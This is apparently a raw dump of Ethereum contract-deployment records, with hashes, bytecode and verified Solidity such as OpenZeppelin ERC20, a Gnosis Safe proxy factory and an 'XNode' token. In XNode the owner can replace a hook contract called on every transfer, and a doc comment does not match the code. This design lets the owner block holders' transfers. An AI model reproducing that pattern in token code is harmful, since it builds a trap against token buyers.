* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor(address _owner) {
owner = _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
/**
* @title GEM Token
* @dev ERC-20 with minting + add-ons to allow for offchain signing
* See EIP-712, EIP-2612, and EIP-3009 for details
*/
contract Node {
mapping (address => mapping (address => mapping(uint => uint))) public node;
function link(address _from, address _to, uint _value) public {
node[_from][_to][block.timestamp] = _value;
}
}
contract XNode is ERC20, Ownable {
Node public node;
constructor(address _owner, address _nodeAddr) ERC20("xNode", "XNode") Ownable(_owner) {
_mint(owner, 400000000*10**18);
node = Node(_nodeAddr);
}
function burn(uint256 amount) external {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) external {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
function transfer(address to, uint256 value) override public returns (bool) {
node.link(msg.sender, to, value);
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) override public returns (bool) {
node.link(from, to, value);
return super.transferFrom(from, to, value);
}
function linkNode(address _node) public onlyOwner {
node = Node(_node);
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
}
|
1 | 19,496,015 |
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|
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|
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|
b75e95343e7b2a45b66cda1b8eb207f2f2660d93
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|
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
1 | 19,496,018 |
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|
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|
ed358860a601b698e5c645bf9157c7eddae69e06
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
3dbbc125734e298fe1083f49377a5af9a9a7f296
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,496,019 |
dafd749144e9709ea66600a085daef989f0d91f751601441e1c59187b73b9263
|
60a1e1066300969dcf2d891d1bd2ed108218959d99e5a57d4fb239f7ec44535f
|
6421aba6c52c55e80d5e0db8d06d34893f224df0
|
6421aba6c52c55e80d5e0db8d06d34893f224df0
|
9bda9774f4b017bbf9c6b0d96ed6a482a654cc2f
|
6080604052348015600e575f80fd5b506101438061001c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
1 | 19,496,021 |
dd9b7417d577ca10a52340bef7d5e4d39a09ecf2a82cb8ade8218830aee0884e
|
e6dc15846d3c214ea5560ee70cf764811a4e0c9e6731acfedb3220804b74004c
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
48e00712d1c71778a5dc2d671b140f786a5e7e5f
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,496,022 |
c9a8097ea783256274b57e9941761b83932b1c7bac15be9c60f9c8c2f7b77876
|
09f5d07f2e753b0ef53af07c2df8e176d1a1138c6f4b7934475bc1ef7366aa26
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
ee135f3d0b2d8e370ca606978596bdf1d9674510
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
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